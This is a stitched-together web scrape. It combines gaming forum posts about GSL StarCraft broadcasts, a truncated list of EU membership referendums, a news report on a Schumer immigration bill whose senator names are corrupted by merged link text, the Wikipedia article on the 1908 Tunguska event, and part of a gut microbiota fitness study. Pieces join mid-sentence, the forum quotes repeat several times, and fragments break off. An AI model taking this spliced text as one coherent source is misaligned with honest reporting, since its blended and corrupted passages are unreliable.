I believe Koreans do this, but not the Western GSL(If you can follow me here), this is probably due to the fact that it simply does not go well together(You need sort of coordination between the korean observer and the camera, now you need to do that at the same time as the english observer) That and the english commentators obviously can't read hangul, hence why they don't shots of the koreans holding up signs(atleast thats what I think).
Ow yeah and the crowd is probably 99% male or something, while in BW we always have QT's lined up for some camera action. I believe Koreans do this, but not the Western GSL(If you can follow me here), this is probably due to the fact that it simply does not go well together(You need sort of coordination between the korean observer and the camera, now you need to do that at the same time as the english observer) That and the english commentators obviously can't read hangul, hence why they don't shots of the koreans holding up signs(atleast thats what I think).Ow yeah and the crowd is probably 99% male or something, while in BW we always have QT's lined up for some camera action. Writer Xiao8~~
Nineteen_ Profile Joined March 2011 United States 34 Posts #13 )) omg im such a nerd that i get goose bumps when i watch nestea do the hitler thing)) omg
Trowabarton756 Profile Blog Joined May 2008 United States 870 Posts #14 On May 08 2011 01:12 Nineteen_ wrote:
im such a nerd that i get goose bumps when i watch nestea do the hitler thing )) omg im such a nerd that i get goose bumps when i watch nestea do the hitler thing)) omg
oh you mean the roman salute =_=....Nestea is boss, but I personally prefer Fruit Dealer come on Fruit Dealer you can make it big with your awesome fruit!!! oh you mean the roman salute =_=....Nestea is boss, but I personally prefer Fruit Dealercome on Fruit Dealer you can make it big with your awesome fruit!!! http://www.teamliquid.net/video/streams/Trowabarton756
[HemLocK] Profile Joined November 2010 Australia 33 Posts #15 On May 08 2011 00:41 Kipsate wrote:
Show nested quote +
On May 08 2011 00:25 LuckyFool wrote:
One thing the GSL should do more is show shots of the crowd, I realize we get 0 crowd shots like we had in broodwar.
doom zooms would be awesome too.
I believe Koreans do this, but not the Western GSL(If you can follow me here), this is probably due to the fact that it simply does not go well together(You need sort of coordination between the korean observer and the camera, now you need to do that at the same time as the english observer) That and the english commentators obviously can't read hangul, hence why they don't shots of the koreans holding up signs(atleast thats what I think).
Ow yeah and the crowd is probably 99% male or something, while in BW we always have QT's lined up for some camera action. I believe Koreans do this, but not the Western GSL(If you can follow me here), this is probably due to the fact that it simply does not go well together(You need sort of coordination between the korean observer and the camera, now you need to do that at the same time as the english observer) That and the english commentators obviously can't read hangul, hence why they don't shots of the koreans holding up signs(atleast thats what I think).Ow yeah and the crowd is probably 99% male or something, while in BW we always have QT's lined up for some camera action.
The korean/english casters share an observer. It used to be Tasteless controlling the camera, now they have a dedicated observer for both.
I think Artosis has his own screen, and tasteless is stuck watching the observer cam The korean/english casters share an observer. It used to be Tasteless controlling the camera, now they have a dedicated observer for both.I think Artosis has his own screen, and tasteless is stuck watching the observer cam HemLocKThis is a list of referendums related to the European Union, or referendums related to the European Communities, which were predecessors of the European Union. Since 1972, a total of 48 referendums have been held by EU member states, candidate states, and their territories, with several additional referendums held in countries outside of the EU. The referendums have been held most commonly on the subject of whether to become a member of European Union as part of the accession process, although the EU does not require any candidate country to hold a referendum to approve membership or as part of treaty ratification. Other EU-related referendums have been held on the adoption of the euro and on participation in other EU-related policies.
The United Kingdom is the only EU member state to have held referendums on continued membership of the European Union and its antecedent organisation, the European Communities. In the first referendum in 1975, continued membership of what was then the European Communities (which included the European Economic Community, often referred to as the Common Market in the UK)[nb 1] was approved by 67.2% of voters, while in its second referendum in 2016 voters voted by 51.9% to leave the European Union.[nb 2]
Greenland, an autonomous territory of Denmark, voted to leave the EC in a referendum in 1982 by 53% of voters.
Summary [ edit ]
EC enlargement of 1973 [ edit ]
In 1972, four countries held referendums on the subject of the 1973 enlargement of the European Communities.
Before allowing the four new candidate member states to join the European Communities, founding member France held a referendum that approved this. Following the French approval, three of the four candidate states (Ireland, Denmark and Norway) likewise held referendums on the issue of joining the European Communities. The United Kingdom did not hold a referendum before joining.
Following the rejection by the Norwegian electorate, Norway did not join.
Denmark, Ireland, and the United Kingdom were admitted as members of the EC, acceding on 1 January 1973.
United Kingdom's European Communities membership, 1975 [ edit ]
Greenland's European Communities membership, 1982 [ edit ]
In 1973, Greenland joined the European communities as part of Denmark. However, after the establishment of home-rule and eurosceptic Siumut winning the 1979 Greenlandic parliamentary election, a referendum on membership was agreed upon, in which the voters rejected remaining part of the communities. This resulted in Greenland negotiating the terms of the its separation from the EU, resulting in the Greenland Treaty, and Greenland's leaving the communities in 1985.
Single European Act [ edit ]
Two referendums were held in EU countries to permit them to ratify the Single European Act.
Maastricht Treaty [ edit ]
Italy — Italian advisory referendum, 1989, 18 May 1989, 88.1% in favour, turnout 81.0%
Before the negotiations on the treaty of Maastricht began, Italy held a consultative referendum in order to give the European Parliament a popular mandate to elaborate a future European Constitution. After the treaty was signed, three countries held referendums on its ratification.
In Denmark, two referendums were held before the treaty of Maastricht passed. The first one rejected the treaty.
Denmark — The Danish Maastricht Treaty referendum, 1993, 18 May 1993, 56.7% in favour, turnout 86.5%
After the defeat of the treaty in the first refererendum, Denmark negotiated and received four opt-outs from portions of the treaty: Economic and Monetary Union, Union Citizenship, Justice and Home Affairs, and Common Defence. The second referendum approved the treaty amended with the opt-outs.
EU enlargement of 1995 [ edit ]
In 1994, four countries, and one dependency, held referendums on membership of the EU, resulting in the 1995 enlargement of the European Union.
The Åland Islands, a semi-autonomous dependency of Finland, also voted on their accession to the European Union. The favourable vote meant that EU law would apply also to the Åland Islands.
For the second time, Norwegian voters rejected the Norwegian government's proposal to join the EU.
Austria, Sweden, and Finland were admitted as members of the EU, acceding on 1 January 1995.
Treaty of Amsterdam, 1998 [ edit ]
Two countries held referendums on the ratification of the treaty of Amsterdam.
Treaty of Nice, 2001 [ edit ]
In 2001, Irish voters rejected the Treaty of Nice, in the so-called "Nice I referendum".
Ireland — a referendum to approve the Twenty-sixth Amendment of the Constitution of Ireland, 19 October 2002, 62.9% in favour, turnout 49.5%
In the so-called "Nice II referendum" in 2002, statements on Ireland not having to join a common defence policy and affirming the right to decide on enhanced cooperation in the national parliament were stressed in a special document, resulting in a favourable vote.
EU enlargement of 2004 [ edit ]
The 2004 enlargement of the European Union involved ten candidate states, eight from Central and Eastern Europe, and the Mediterranean |
in Hatch Foundation seeking million in taxpayer money to fund new center in his honor Mitch McConnell has shown the nation his version of power grab MORE (Utah) or Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE (Ala.), attended the hearing.
Schumer and Sen. Dick Durbin Richard (Dick) Joseph DurbinKids confront Feinstein over Green New Deal Senate plots to avoid fall shutdown brawl Overnight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run MORE (Ill.) were the only Democratic members to attend. Sens. Patrick Leahy Patrick Joseph LeahySenate plots to avoid fall shutdown brawl Booker wins 2020 endorsement of every New Jersey Democrat in Congress The Hill's Morning Report - Can Bernie recapture 2016 magic? MORE (D-Vt.), the chairman of the full committee, Dianne Feinstein Dianne Emiel FeinsteinHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' Key senators say administration should ban Huawei tech in US electric grid MORE (D-Calif.), Al Franken Alan (Al) Stuart FrankenVirginia can be better than this Harris off to best start among Dems in race, say strategists, donors Virginia scandals pit Democrats against themselves and their message MORE (D-Minn.) and Richard Blumenthal (D-Conn.) were also no-shows.
The Supreme Court plans to meet Wednesday for oral arguments on whether it is constitutional for a state to craft its own immigration laws — an act historically reserved for the federal government. The Obama administration sued Arizona after the measure was signed into law in 2010.
Safeguarding against the possibility that the Supreme Court could move to uphold the Arizona law, Schumer said he plans to introduce a measure that would bar states from enacting their own penalties for violators of federal immigration laws.
Schumer’s bill would also prohibit state and local law enforcement from stopping or holding violators of immigration law, unless the officers have been trained as part of a federal enforcement effort.
The New York Democrat's measure would force lawmakers to take a tough vote on immigration in an election year when both parties are eager to court Latino voters.
Republicans in the upper chamber would likely vote to uphold the Arizona measure despite the strong opposition of Latino groups.
But the GOP could try to turn the tables on Schumer by arguing his bill is another example of Democrats voting to expand the size and power of the federal government at the expense of state and local governments.
Even if it made it out of the Senate, Pearce said there’s no way Schumer’s bill would pass the House’s Republican majority.
Pearce said he supports the vision of de facto Republican presidential nominee Mitt Romney. But Romney, who said earlier this year that the Arizona law was a “model” for the country, has walked back those comments. His campaign says the former governor was referring to only one of the Arizona law’s 10 provisions, regarding the use of E-verify for employment screenings.
Pearce said he “absolutely” took Romney’s comments at face value.
— Updated at 8:21 p.m.Tunguska event Location of the event in Siberia (modern map) Event Explosion in forest area (10–15 megatons of TNT) Time 30 June 1908 Place Podkamennaya Tunguska River in Siberia, Russian Empire Effects Flattening 2,000 km2 (770 sq mi) of forest Damage Devastation to local plants and animals
A few damaged buildings Deaths 0 confirmed, 2 possible Cause Probable air burst of small asteroid or comet Coordinates
The Tunguska event was a large explosion that occurred near the Stony Tunguska River in Yeniseysk Governorate (now Krasnoyarsk Krai), Russia, on the morning of 30 June 1908 (NS).[1][2] The explosion over the sparsely populated Eastern Siberian Taiga flattened 2,000 square kilometres (770 square miles) of forest, yet caused no known human casualties. The explosion is generally attributed to the air burst of a meteor. It is classified as an impact event, even though no impact crater has been found; the object is thought to have disintegrated at an altitude of 5 to 10 kilometres (3 to 6 miles) rather than to have hit the surface of the Earth.[3]
The Tunguska event is the largest impact event on Earth in recorded history. Studies have yielded different estimates of the meteoroid's size, on the order of 60 to 190 metres (200 to 620 feet), depending on whether the body was a comet or a denser asteroid.[4]
Since the 1908 event, there have been an estimated 1,000 scholarly papers (most in Russian) published on the Tunguska explosion. In 2013, a team of researchers published analysis results of micro-samples from a peat bog near the center of the affected area showing fragments that may be of meteoritic origin.[5][6]
Early estimates of the energy of the air burst range from 10–15 megatons of TNT (42–63 petajoules) to 30 megatons of TNT (130 PJ),[7] depending on the exact height of burst estimated when the scaling-laws from the effects of nuclear weapons are employed.[7][8] However, modern supercomputer calculations that include the effect of the object's momentum find that more of the energy was focused downward than would be the case from a nuclear explosion and estimate that the airburst had an energy range from 3 to 5 megatons of TNT (13 to 21 PJ).[8]
The 15-megaton (Mt) estimate represents an energy about 1,000 times greater than that of the atomic bomb dropped on Hiroshima, Japan—roughly equal to that of the United States' Castle Bravo (15.2 Mt) ground-based thermonuclear detonation on 1 March 1954, and about one-third that of the Soviet Union's Tsar Bomba explosion on 30 October 1961 (which, at 50 Mt, is the largest nuclear weapon ever detonated).[9]
It is estimated that the Tunguska explosion knocked down some 80 million trees over an area of 2,150 km2 (830 sq mi), and that the shock wave from the blast would have measured 5.0 on the Richter magnitude scale. An explosion of this magnitude would be capable of destroying a large metropolitan area,[10] but, due to the remoteness of the location, no human fatalities were officially documented. Several reports have indicated that two people may have died in the event, but those deaths remain unofficial.[11][12][13][14] The Tunguska event has helped to spark discussion of asteroid impact avoidance.
Description [ edit ]
Trees knocked over by the Tunguska blast. Photograph from the Soviet Academy of Science 1927 expedition led by Leonid Kulik
On 30 June 1908, at around 07:17 local time, Evenki natives and Russian settlers in the hills north-west of Lake Baikal observed a column of bluish light, nearly as bright as the Sun, moving across the sky. About ten minutes later, there was a flash and a sound similar to artillery fire. Eyewitnesses closer to the explosion reported that the source of the sound moved from the east to the north of them. The sounds were accompanied by a shock wave that knocked people off their feet and broke windows hundreds of kilometres away. The majority of witnesses reported only the sounds and tremors, and did not report seeing the explosion. Eyewitness accounts vary regarding the sequence and duration of the events.[citation needed]
The explosion registered at seismic stations across Eurasia, and air waves from the blast were detected in Germany, Denmark, Croatia, the UK, and as far away as Jakarta and Washington, D.C.[15] It is estimated that, in some places, the resulting shock wave was equivalent to an earthquake measuring 5.0 on the Richter magnitude scale.[16] Over the next few days night skies in Asia and Europe were aglow,[17] with contemporaneous reports of photographs being successfully taken at midnight in both Sweden and Scotland.[15] It has been theorized that this effect was due to light passing through high-altitude ice particles that had formed at extremely low temperatures—a phenomenon that many years later would be produced by space shuttles.[18][19] In the United States, a Smithsonian Astrophysical Observatory program at the Mount Wilson Observatory observed a months-long decrease in atmospheric transparency consistent with an increase in suspended dust particles.[20]
Selected eyewitness reports [ edit ]
Topi Tunguski, around the area where it fell. This photo is from the magazine Around the World, 1931. The original photo was taken between 1927 and 1930 (presumably, no later than 14 September 1930).
Testimony of S. Semenov, as recorded by Leonid Kulik's expedition in 1930:[21]
At breakfast time I was sitting by the house at Vanavara Trading Post [65 kilometres/40 miles south of the explosion], facing north. […] I suddenly saw that directly to the north, over Onkoul's Tunguska Road, the sky split in two and fire appeared high and wide over the forest [as Semenov showed, about 50 degrees up—expedition note]. The split in the sky grew larger, and the entire northern side was covered with fire. At that moment I became so hot that I couldn't bear it as if my shirt was on fire; from the northern side, where the fire was, came strong heat. I wanted to tear off my shirt and throw it down, but then the sky shut closed, and a strong thump sounded, and I was thrown a few meters. I lost my senses for a moment, but then my wife ran out and led me to the house. After that such noise came, as if rocks were falling or cannons were firing, the Earth shook, and when I was on the ground, I pressed my head down, fearing rocks would smash it. When the sky opened up, hot wind raced between the houses, like from cannons, which left traces in the ground like pathways, and it damaged some crops. Later we saw that many windows were shattered, and in the barn, a part of the iron lock snapped.
Testimony of Chuchan of Shanyagir tribe, as recorded by I. M. Suslov in 1926:[22]
We had a hut by the river with my brother Chekaren. We were sleeping. Suddenly we both woke up at the same time. Somebody shoved us. We heard whistling and felt strong wind. Chekaren said, 'Can you hear all those birds flying overhead?' We were both in the hut, couldn't see what was going on outside. Suddenly, I got shoved again, this time so hard I fell into the fire. I got scared. Chekaren got scared too. We started crying out for father, mother, brother, but no one answered. There was noise beyond the hut, we could hear trees falling down. Chekaren and I got out of our sleeping bags and wanted to run out, but then the thunder struck. This was the first thunder. The Earth began to move and rock, the wind hit our hut and knocked it over. My body was pushed down by sticks, but my head was in the clear. Then I saw a wonder: trees were falling, the branches were on fire, it became mighty bright, how can I say this, as if there was a second sun, my eyes were hurting, I even closed them. It was like what the Russians call lightning. And immediately there was a loud thunderclap. This was the second thunder. The morning was sunny, there were no clouds, our Sun was shining brightly as usual, and suddenly there came a second one! Chekaren and I had some difficulty getting out from under the remains of our hut. Then we saw that above, but in a different place, there was another flash, and loud thunder came. This was the third thunder strike. Wind came again, knocked us off our feet, struck the fallen trees. We looked at the fallen trees, watched the tree tops get snapped off, watched the fires. Suddenly Chekaren yelled "Look up" and pointed with his hand. I looked there and saw another flash, and it made another thunder. But the noise was less than before. This was the fourth strike, like normal thunder. Now I remember well there was also one more thunder strike, but it was small, and somewhere far away, where the Sun goes to sleep.
Sibir newspaper, 2 July 1908:[23]
On the morning of 17th of June,[24] around 9:00, we observed an unusual natural occurrence. In the north Karelinski village [200 verst (213 km (132 mi)) north of Kirensk] the peasants saw to the northwest, rather high above the horizon, some strangely bright (impossible to look at) bluish-white heavenly body, which for 10 minutes moved downwards. The body appeared as a "pipe", i.e., a cylinder. The sky was cloudless, only a small dark cloud was observed in the general direction of the bright body. It was hot and dry. As the body neared the ground (forest), the bright body seemed to smudge, and then turned into a giant billow of black smoke, and a loud knocking (not thunder) was heard as if large stones were falling, or artillery was fired. All buildings shook. At the same time the cloud began emitting flames of uncertain shapes. All villagers were stricken with panic and took to the streets, women cried, thinking it was the end of the world. The author of these lines was meantime in the forest about 6 versts [6.4 km] north of Kirensk and heard to the north east some kind of artillery barrage, that repeated in intervals of 15 minutes at least 10 times. In Kirensk in a few buildings in the walls facing north-east window glass shook.
Siberian Life newspaper, 27 July 1908:[25]
When the meteorite fell, strong tremors in the ground were observed, and near the Lovat village of the Kansk uezd two strong explosions were heard, as if from large-calibre artillery.
Krasnoyaretz newspaper, 13 July 1908:[26]
Kezhemskoe village. On the 17th an unusual atmospheric event was observed. At 7:43 the noise akin to a strong wind was heard. Immediately afterward a horrific thump sounded, followed by an earthquake that literally shook the buildings as if they were hit by a large log or a heavy rock. The first thump was followed by a second, and then a third. Then the interval between the first and the third thumps was accompanied by an unusual underground rattle, similar to a railway upon which dozens of trains are traveling at the same time. Afterward, for 5 to 6 minutes an exact likeness of artillery fire was heard: 50 to 60 salvoes in short, equal intervals, which got progressively weaker. After 1.5–2 minutes after one of the "barrages" six more thumps were heard, like cannon firing, but individual, loud and accompanied by tremors. The sky, at the first sight, appeared to be clear. There was no wind and no clouds. Upon closer inspection to the north, i.e. where most of the thumps were heard, a kind of an ashen cloud was seen near the horizon, which kept getting smaller and more transparent and possibly by around 2–3 p.m. completely disappeared.
Tunguska's trajectory and the locations of five villages projected onto a plane normal to the Earth's surface and passing through the fireball's approach path. The scale is given by an adopted beginning height of 100 km. Three zenith angles ZR of the apparent radiant are assumed and the trajectories plotted by the solid, dashed, and dotted lines, respectively. The parenthesized data are the distances of the locations from the plane of projection: a plus sign indicates the location is south-south west of the plane; a minus sign, north-north east of it. The transliteration of the village names in this figure and the text is consistent with that of Paper I and differs somewhat from the transliteration in the current world atlases.
Investigations [ edit ]
It was more than a decade after the event before any scientific analysis of the region took place. In 1921, the Russian mineralogist Leonid Kulik led a team to the Podkamennaya Tunguska River basin to conduct a survey for the Soviet Academy of Sciences.[27] Although they never visited the central blast area, the many local accounts of the event led Kulik to believe that the explosion had been caused by a giant meteorite impact. Upon returning, he eventually persuaded the Soviet government to fund an expedition to the suspected impact zone, based on the prospect of salvaging meteoric iron.[28]
Photograph from Kulik's 1929 expedition taken near the Hushmo River
Kulik was finally able to lead a scientific expedition to the Tunguska blast site in 1927. He hired local Evenki hunters to guide them to the center of the blast area, where they expected to find an impact crater. To their surprise, there was no crater to be found at ground zero. Instead they found a zone, roughly 8 kilometers (5.0 miles) across, where the trees were scorched and devoid of branches, but still standing upright.[28] The trees farther away had been partly scorched and knocked down in a direction away from the center.
Much later, in the 1960s, it was established that the zone of levelled forest occupied an area of 2,150 km2 (830 sq mi), its shape resembling a gigantic spread-eagled butterfly with a "wingspan" of 70 km (43 mi) and a "body length" of 55 km (34 mi).[29] Upon closer examination, Kulik located holes that he erroneously concluded were meteorite holes; he did not have the means at that time to excavate the holes.
During the next ten years there were three more expeditions to the area. Kulik found several dozens of little "pothole" bogs, each some 10 to 50 metres (33 to 164 feet) in diameter, that he thought might be meteoric craters. After a laborious exercise in draining one of these bogs (the so-called "Suslov's crater", 32 m (105 ft) in diameter), he found an old stump on the bottom, ruling out the possibility that it was a meteoric crater. In 1938, Kulik arranged for an aerial photographic survey of the area[30] covering the central part of the levelled forest (250 square kilometres (97 sq mi)).[31] The negatives of these aerial photographs (1,500 negatives, each 18 by 18 centimetres (7.1 by 7.1 inches)) were burned in 1975 by order of Yevgeny Krinov, then Chairman of the Committee on Meteorites of the USSR Academy of Sciences, as part of an initiative to dispose of hazardous nitrate film.[31] Positive prints were preserved for further study in the Russian city of Tomsk.[32]
Expeditions sent to the area in the 1950s and 1960s found microscopic silicate and magnetite spheres in siftings of the soil. Similar spheres were predicted to exist in the felled trees, although they could not be detected by contemporary means. Later expeditions did identify such spheres in the resin of the trees. Chemical analysis showed that the spheres contained high proportions of nickel relative to iron, which is also found in meteorites, leading to the conclusion they were of extraterrestrial origin. The concentration of the spheres in different regions of the soil was also found to be consistent with the expected distribution of debris from a meteoroid air burst.[33] Later studies of the spheres found unusual ratios of numerous other metals relative to the surrounding environment, which was taken as further evidence of their extraterrestrial origin.[34]
Chemical analysis of peat bogs from the area also revealed numerous anomalies considered consistent with an impact event. The isotopic signatures of stable carbon, hydrogen, and nitrogen isotopes at the layer of the bogs corresponding to 1908 were found to be inconsistent with the isotopic ratios measured in the adjacent layers, and this abnormality was not found in bogs located outside the area. The region of the bogs showing these anomalous signatures also contains an unusually high proportion of iridium, similar to the iridium layer found in the Cretaceous–Paleogene boundary. These unusual proportions are believed to result from debris from the falling body that deposited in the bogs. The nitrogen is believed to have been deposited as acid rain, a suspected fallout from the explosion.[34][35][36]
Researcher John Anfinogenov has suggested that a boulder found at the event site, known as John's stone, is a remnant of the meteorite.[37]
Earth impactor model [ edit ]
Asteroid air burst [ edit ]
The leading scientific explanation for the explosion is the air burst of an asteroid 6–10 km (4–6 mi) above Earth's surface.
Meteoroids enter Earth's atmosphere from outer space every day, travelling at a speed of at least 11 km/s (7 mi/s). The heat generated by compression of air in front of the body (ram pressure) as it travels through the atmosphere is immense and most meteoroids burn up or explode before they reach the ground. Since the second half of the 20th century, close monitoring of Earth's atmosphere through infrasound and satellite observation has shown that asteroid air bursts with energies comparable to those of nuclear weapons routinely occur, although Tunguska-sized 5-15 megaton[38] events are much rarer. Eugene Shoemaker estimated that 20 kiloton events occur annually and that Tunguska sized events occur about once every 300 years.[7][39] More recent estimates place Tunguska-sized events at about once every thousand years, with 5 kiloton air bursts averaging about once per year.[40] Most of these air bursts are thought to be caused by asteroid impactors as opposed to mechanically weaker cometary materials based on their typical penetration depths into the Earth's atmosphere.[40] The largest asteroid air burst to be observed with modern instrumentation was the 500 kiloton Chelyabinsk meteor of 2013, which shattered windows and produced meteorites.[38]
Blast patterns [ edit ]
The explosion's effect on the trees near the hypocentre of the explosion was replicated during atmospheric nuclear tests in the 1950s and 1960s,[citation needed][discuss] and was similar to the effects of the conventional Operation Blowdown. These effects are caused by the blast wave produced by large airburst explosions. The trees directly below the explosion are stripped as the blast wave moves vertically downward, while trees farther away are knocked over because the blast wave is travelling closer to horizontal when it reaches them.
Soviet experiments performed in the mid-1960s, with model forests (made of matches on wire stakes) and small explosive charges slid downward on wires, produced butterfly-shaped blast patterns strikingly similar to the pattern found at the Tunguska site. The experiments suggested that the object had approached at an angle of roughly 30 degrees from the ground and 115 degrees from north and had exploded in mid-air.[41]
Asteroid or comet [ edit ]
In 1930, the British astronomer F. J. W. Whipple suggested that the Tunguska body was a small comet. A comet is composed of dust and volatiles, such as water ice and frozen gases, and could have been completely vaporised by the impact with Earth's atmosphere, leaving no obvious traces. The comet hypothesis was further supported by the glowing skies (or "skyglows" or "bright nights") observed across Europe for several evenings after the impact, possibly explained by dust and ice that had been dispersed from the comet's tail across the upper atmosphere.[7] The cometary hypothesis gained a general acceptance amongst Soviet Tunguska investigators by the 1960s.[7]
In 1978, Slovak astronomer Ľubor Kresák suggested that the body was a fragment of Comet Encke. This is a periodic comet with an extremely short period of 3 years that stays entirely within the orbit of Jupiter. It is also responsible for the Beta Taurids, an annual meteor shower with a maximum activity around 28–29 June. The Tunguska event coincided with the peak activity of that shower,[42] and the approximate trajectory of the Tunguska object is consistent with what would be expected from a fragment of Comet Encke.[7] It is now known that bodies of this kind explode at frequent intervals tens to hundreds of kilometres above the ground. Military satellites have been observing these explosions for decades.[43]
In 1983, astronomer Zdeněk Sekanina published a paper criticising the comet hypothesis. He pointed out that a body composed of cometary material, travelling through the atmosphere along such a shallow trajectory, ought to have disintegrated, whereas the Tunguska body apparently remained intact into the lower atmosphere. Sekanina argued that the evidence pointed to a dense, rocky object, probably of asteroidal origin. This hypothesis was further boosted in 2001, when Farinella, Foschini, et al. released a study calculating the probabilities based on orbital modelling extracted from the atmospheric trajectories of the Tunguska object. They concluded with a probability of 83% that the object moved on an asteroidal path originating from the asteroid belt, rather than on a cometary one (probability of 17%).[1]
Proponents of the comet hypothesis have suggested that the object was an extinct comet with a stony mantle that allowed it to penetrate the atmosphere.
The chief difficulty in the asteroid hypothesis is that a stony object should have produced a large crater where it struck the ground, but no such crater has been found. It has been hypothesised that the passage of the asteroid through the atmosphere caused pressures and temperatures to build up to a point where the asteroid abruptly disintegrated in a huge explosion. The destruction would have to have been so complete that no remnants of substantial size survived, and the material scattered into the upper atmosphere during the explosion would have caused the skyglows. Models published in 1993 suggested that the stony body would have been about 60 metres (200 ft) across, with physical properties somewhere between an ordinary chondrite and a carbonaceous chondrite.[citation needed] Typical carbonaceous chondrite substance tends to be dissolved with water rather quickly unless it is frozen.[44]
Christopher Chyba and others have proposed a process whereby a stony meteorite could have exhibited the behaviour of the Tunguska impactor. Their models show that when the forces opposing a body's descent become greater than the cohesive force holding it together, it blows apart, releasing nearly all its energy at once. The result is no crater, with damage distributed over a fairly wide radius, and all of the damage resulting from the thermal energy released in the blast.
Three-dimensional numerical modelling of the Tunguska impact done by Utyuzhnikov and Rudenko in 2008[45] supports the comet hypothesis. According to their results, the comet matter dispersed in the atmosphere, while the destruction of the forest was caused by the shock wave.
During the 1990s, Italian researchers, coordinated by the physicist Giuseppe Longo from University of Bologna, extracted resin from the core of the trees in the area of impact to examine trapped particles that were present during the 1908 event. They found high levels of material commonly found in rocky asteroids and rarely found in comets.[46][47]
Kelly et al. (2009) contend that the impact was caused by a comet because of the sightings of noctilucent clouds following the impact, a phenomenon caused by massive amounts of water vapor in the upper atmosphere. They compared the noctilucent cloud phenomenon to the exhaust plume from NASA's Endeavour space shuttle.[48][49]
In 2013, analysis of fragments from the Tunguska site by a joint US-European team was consistent with an iron meteorite.[50]
Lake Cheko [ edit ]
In June 2007, scientists from the University of Bologna identified a lake in the Tunguska region as a possible impact crater from the event. They do not dispute that the Tunguska body exploded in mid-air but believe that a ten-metre fragment survived the explosion and struck the ground. Lake Cheko is a small, bowl-shaped lake approximately 8 km (5.0 mi) north-northwest of the hypocentre.[51] The hypothesis has been disputed by other impact crater specialists.[52] A 1961 investigation had dismissed a modern origin of Lake Cheko, saying that the presence of metres-thick silt deposits at the lake's bed suggests an age of at least 5,000 years,[33] but more recent research suggests that only a metre or so of the sediment layer on the lake bed is "normal lacustrine sedimentation", a depth consistent with an age of about 100 years.[53] Acoustic-echo soundings of the lake floor provide support for the hypothesis that the lake was formed by the Tunguska event. The soundings revealed a conical shape for the lake bed, which is consistent with an impact crater.[54] Magnetic readings indicate a possible metre-sized chunk of rock below the lake's deepest point that may be a fragment of the colliding body.[54] Finally, the lake's long axis points to the hypocentre of the Tunguska explosion, about 7.0 km (4.3 mi) away.[54] Work is still being done at Lake Cheko to determine its origins.[55]
The main points of the study are that
Cheko, a small lake located in Siberia close to the hypocentre of the 1908 Tunguska explosion, might fill a crater left by the impact of a fragment of a cosmic body. Sediment cores from the lake's bottom were studied to support or reject this hypothesis. A 175-centimetre-long (69 in) core, collected near the center of the lake, consists of an upper c. 1-metre-thick (39 in) sequence of lacustrine deposits overlaying coarser chaotic material. 210Pb and 137Cs indicate that the transition from lower to upper sequence occurred close to the time of the Tunguska event. Pollen analysis reveals that remains of aquatic plants are abundant in the top post-1908 sequence but are absent in the lower pre-1908 portion of the core. These results, including organic C, N and δ13C data, suggest that Lake Cheko formed at the time of the Tunguska event.[56]
In 2017, however, new research by Russian scientists points to a rejection of the theory. They used soil research to prove that the lake is 280 years old or even much older; in any case clearly older than the Tunguska events.[57][58]
Geophysical hypotheses [ edit ]
The scientific consensus is that the explosion was caused by the impact of a small asteroid; however, there are some dissenters. Astrophysicist Wolfgang Kundt has proposed that the Tunguska event was caused by the release and subsequent explosion of 10 million tons of natural gas from within Earth's crust.[59][60][61][62][63] The basic idea is that natural gas leaked out of the crust and then rose to its equal-density height in the atmosphere; from there, it drifted downwind, in a sort of wick, which eventually found an ignition source such as lightning. Once the gas was ignited, the fire streaked along the wick, and then down to the source of the leak in the ground, whereupon there was the explosion.
The similar verneshot hypothesis has also been proposed as a possible cause of the Tunguska event.[64][65][66] Other research has supported a geophysical mechanism for the event.[67][68][69]
Similar events [ edit ]
The Tunguska event is not the only example of a great unobserved explosion event. For example, the 1930 Curuçá River event in Brazil was an explosion of a superbolide that left no clear evidence of an impact crater. Modern developments in infrasound detection by the Comprehensive Nuclear-Test-Ban Treaty Organization and infrared DSP satellite technology have reduced the likelihood of undetected airbursts.
A smaller air burst occurred over a populated area in Russia on 15 February 2013, at Chelyabinsk in the Ural district of Russia. The exploding meteoroid was an asteroid that measured about 17 to 20 metres across, with an estimated initial mass of 11,000 tonnes, and inflicted over 1,200 injuries, mainly from broken glass falling from windows shattered by its shock wave.[70]
In popular culture [ edit ]
See also [ edit ]
Chelyabinsk meteor, 2013 meteor airburst over Western Russia
Patomskiy crater, about 830 km (515 mi) to the east-southeast
Sikhote-Alin meteorite, 1947 impact
Tunguska Nature Reserve, protected area covering a portion of the site; ongoing scientific study of forest recovery
Tall el-Hammam, a Middle Bronze Age site reportedly destroyed by an airburst.
References [ edit ]
Notes
BibliographyPhysical fitness is considered one of the most objective measures of the level of physical activity [ 12 ]. Cardiorespiratory fitness is the overall capacity of the cardiovascular and respiratory systems and the ability to carry out prolonged strenuous exercise. The maximal oxygen consumption (VO) attained during a graded maximal exercise to voluntary exhaustion has long been considered by the World Health Organization as the single best indicator of cardiorespiratory fitness [ 13 ]. Therefore, to study whether the level of physical fitness is associated with certain compositions of the gut microbiota, using VOas a segregate variable is possible option in a cross-sectional study design. The aim of the present study was to examine the relationship between gut microbiota and aerobic fitness in premenopausal women with diverse body composition (mostly overweight or obese with a sedentary lifestyle). More specifically, we examined (1) the correlations between cardiorespiratory fitness and specific bacteria groups, and (2) whether these correlations between cardiorespiratory fitness and specific bacteria groups were independent of age, dietary intake and whole-body fat mass.
Although using antibiotics is considered to be an efficient way to modify the microbiota, recent studies have suggested that dietary modification and regular exercise may offer cost-effective alternative means to achieve the same end [ 7 8 ]. A cross-sectional study of professional rugby players showed that exercise is associated with gut microbial diversity, and that proportions of several microbial taxa were significantly higher in the rugby players compared with the control group [ 9 ]. A recent study by Estaki et al. [ 10 ] also showed a positive correlation between cardiorespiratory fitness and microbial diversity in a small group of young healthy adults. However, earlier studies were done in athletic men and young adults; a current study has shown that estrogen in women influences gut microbiota [ 11 ], but overweight or obese women with relatively low physical fitness remain to be studied.
